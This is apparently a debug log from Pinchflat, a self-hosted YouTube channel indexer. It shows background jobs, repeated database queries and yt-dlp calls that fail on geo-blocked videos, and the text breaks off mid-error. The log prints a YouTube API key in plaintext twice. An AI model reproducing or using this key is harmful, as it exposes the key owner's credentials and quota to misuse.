{"args":{"id":20},"id":3800010,"meta":{},"system_time":1770763601229864213,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:46:41.230 [debug] QUERY OK source="sources" db=0.1ms idle=861.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [20] 16:46:41.230 [debug] QUERY OK source="settings" db=0.1ms idle=861.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:41.230 [debug] QUERY OK source="media_profiles" db=0.1ms idle=854.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:46:41.230 [debug] QUERY OK source="settings" db=0.0ms idle=7.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:41.230 [debug] Fetching recent media IDs from YouTube API for playlist: UU2J-0g_nxlwcD9JBK1eTleQ 16:46:41.231 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:41.231 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:46:41.329 [debug] QUERY OK source="media_items" db=0.7ms idle=98.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [20, "EfReqcUJfBU", "46tvrNZFxjQ", "MnjNgtPr3v0", "DqBOTn6RiKE", "Eten26XKTv4", "sdSusCDZcDg", "_Ma4fV7ajak", "bfeb6AS7efA", "NzCJGD3XMm4", "sI4y8jDO6kc", "2OvyyVxQjuI", "GUFPw25D0XM", "llRut0MpjfU", "n_wbyAf0Sfs", "U5P5WgYhz9Q", "LvTo1PSlDkc", "HcvF3XFlHeM", "xvnYl9yyxY8", "2E4neC3OBtg", "SzQQMElyhzo", "LckcXDqLtVA", "wDzi0-S9Bpo", "5CIJ_zk7DR4", "FVSH4dedp5U", "j0HzOAsVBqU", "4p1f3KA_O2o", "vXSd4OYyksc", "iwyyJwJQgGI", "2TBWVwTn9WM", "TvjeY9RCR2U", "990N9TgwB4Y", "YiSjEU0RImU", "62SkmzQ85Ks", "DL8lzJDOyzo", "Pg8Yi6x2Pwk", "Az6nemkRB1Y", "no5X9k23xzQ", "Xe_Hfxk-iTM", "frPvUIchc9s", "1WeyqcSW4pc", "-eDR2D9jY5E", "APqWBtdPCJQ", "lAhndiYV8vQ", "tbcAOqpE3g8", "BUcN2w-cBr4", "GzS-xgs5y64", "E0EY4dxMAxA", "luAJ_Rzg-do", "vMowPNqMPac", ...] 16:46:41.330 [debug] QUERY OK source="media_items" db=0.3ms idle=99.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [20] 16:46:41.331 [debug] QUERY OK source="tasks" db=0.1ms idle=100.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800049, 20, ~U[2026-02-10 22:46:41Z], ~U[2026-02-10 22:46:41Z]] 16:46:41.331 [info] {"args":{"id":20},"id":3800010,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":101460,"event":"job:stop","queue_time":510114,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:46:49.238 [info] {"args":{"id":6},"id":3800011,"meta":{},"system_time":1770763609238728656,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:46:49.239 [debug] QUERY OK source="sources" db=0.1ms idle=360.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 16:46:49.239 [debug] QUERY OK source="settings" db=0.1ms idle=360.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:49.239 [debug] QUERY OK source="media_profiles" db=0.1ms idle=361.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:46:49.239 [debug] QUERY OK source="settings" db=0.1ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:49.239 [debug] Fetching recent media IDs from YouTube API for playlist: UU3XTzVzaHQEd30rQbuvCtTQ 16:46:49.239 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:49.239 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:46:49.340 [debug] QUERY OK source="media_items" db=0.6ms idle=100.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6, "PawUmci7JuU", "8xRgXlUF4vM", "dm5IwjiGT80", "2fH8RYbqSj8", "5T2clCWmo24", "JduzROpaMlw", "7hkuCkya9IQ", "EJHHiu9fB9A", "yknMJOgy2pA", "-iRUq-Dy7QE", "Dhe1E2vzziA", "SLVL_wg3Hz0", "gi4swT8LK1U", "l4-_ZmwoZbg", "Y93ljB7sfco", "LmmeWg_DHdc", "SUogDr7iOF4", "_94sC2k37vo", "zk_P1rSKR4g", "e_Sv2Jva5D0", "wVFXUkFx5Y8", "0qmNAOCgbgY", "vO4XdC2aOrU", "KcYKVB-0Vqw", "hNlJdQwvr3o", "-7ExqSFtKEM", "sl9IRn33Fig", "Mwc21oNdnaA", "Ejoi9yfLVCc", "73iQpsIE0i8", "m9ExweRMFAA", "s9FsxWK0f1A", "-xIQxzlXN-0", "cicEeYtFd1M", "a277Pg23Dao", "-6r-lAxhtv4", "bl6Ww92bb0o", "gieTx_P6INQ", "9iZK_DurYOo", "xQwGv4UYvbk", "88YixeXbRMo", "eHJwoYjTyyE", "SCv0hlq5iQY", "JOoHELC8w8M", "dB1-lg-xZWc", "NtHZ7IR88dg", "S9EVYaSa1Ws", "Wg8OcJopuBE", "z016SEN7HzE", ...] 16:46:49.341 [debug] QUERY OK source="settings" db=0.0ms idle=101.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:49.341 [debug] QUERY OK source="settings" db=0.0ms idle=101.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:49.341 [debug] Running yt-dlp command for action: get_media_attributes 16:46:49.342 [debug] QUERY OK source="settings" db=0.0ms idle=103.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:49.342 [debug] QUERY OK source="settings" db=0.0ms idle=103.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:49.343 [debug] QUERY OK source="settings" db=0.0ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:49.343 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=-iRUq-Dy7QE --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/c0/68/c0681e73b742d47ddaf88fb498b7195f607d391357a612d93175d5599905893b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:46:50.814 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=-iRUq-Dy7QE --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/c0/68/c0681e73b742d47ddaf88fb498b7195f607d391357a612d93175d5599905893b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] -iRUq-Dy7QE: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 16:46:50.814 [error] Error creating media item '-iRUq-Dy7QE' from URL: {:error, "ERROR: [youtube] -iRUq-Dy7QE: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 16:46:50.814 [debug] QUERY OK source="settings" db=0.1ms idle=1473.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:50.814 [debug] QUERY OK source="settings" db=0.0ms idle=1471.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:50.814 [debug] Running yt-dlp command for action: get_media_attributes 16:46:50.815 [debug] QUERY OK source="settings" db=0.0ms idle=1472.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:50.815 [debug] QUERY OK source="settings" db=0.0ms idle=1472.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:50.816 [debug] QUERY OK source="settings" db=0.0ms idle=582.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:50.816 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LmmeWg_DHdc --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/3a/a7/3aa72345ed2a5fb7d87a827fff80fa3eea7ca69c00960711eb838bb740c76998.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:46:52.210 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LmmeWg_DHdc --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/3a/a7/3aa72345ed2a5fb7d87a827fff80fa3eea7ca69c00960711eb838bb740c76998.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] LmmeWg_DHdc: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 16:46:52.210 [error] Error creating media item 'LmmeWg_DHdc' from URL: {:error, "ERROR: [youtube] LmmeWg_DHdc: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying 